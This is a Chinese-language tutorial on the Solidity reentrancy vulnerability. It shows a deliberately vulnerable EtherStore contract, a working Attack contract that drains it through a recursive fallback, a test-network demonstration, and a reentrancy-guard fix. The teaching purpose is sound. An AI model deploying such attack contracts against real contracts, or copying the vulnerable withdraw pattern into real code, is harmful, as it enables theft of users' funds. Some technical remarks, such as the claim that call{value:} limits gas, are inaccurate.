solidity智能合约基础漏洞——重入漏洞

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​0x01 重入本质

调用外部合约或将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑。

 

0x02 前置知识

我们需要先知道以下几种函数的区别

  • <address>.transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
  • <address>.send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
  • <address>.call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

payable 标识符

  • 在函数上添加 payable 标识,即可接受 Ether,并将其存储在当前合约中。

 

0x03 漏洞复现

以当前最新版 Solidity 0.8 为例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}(""); // Vulnerability of re-entrancy
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

EtherStore 合约在转账函数 withdraw() 中使用了<address>.call{}() 函数,这导致黑客可利用 fallback() 函数递归调用 withdraw() 函数,从而把 EtherStore 合约上所有的钱都转走。我们接着上述合约继续编写攻击代码:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(); // go to fallback
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击代码首先创建一个构造函数用于接收漏洞代码的合约地址,然后编写攻击函数:存钱 deposit() 后调用能重入的函数 withdraw(),然后编写 fallback() 函数递归调用重入函数。

我们部署第一份合约,将 90 个 Ether 存入合约地址:

接着,我们换账号部署第二份合约。部署时,需要传入第一份合约的地址。然后将 1 Ether 存入该合约,进行攻击:

接下来查询攻击合约的余额:

点击 getBalance,查询到该合约有 91000000000000000000 wei,刚好是原始合约的 90 ether 加上我们存入的 1 ether,攻击至此完成。

 

0x04 安全建议

最简单防止重入的办法是不用<address>.call() 函数,选择更加安全的函数,如:transfer() 和 send()。

如果一定要用 call() 函数,可选择加锁来防止重入:

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _; // re-entrancy
        locked = false;
    }
}

如果还像之前那样编写攻击代码,当从 callback() 函数中第二次调用上述函数时,require 的检查不会通过。这样就防止了重入。

 

0x05 总结

区块链领域的安全问题不容忽视,这就要求开发者必须时刻小心谨慎,养成防御性编程思维。尤其是调用外部合约的函数,一般全都应视为不可信,将各种操作(更新状态变量等)均放在重入函数之前。

在此呼吁开发者们,重视并养成良好的开发习惯。对于外部合约的调用,应时刻保持谨慎的态度。

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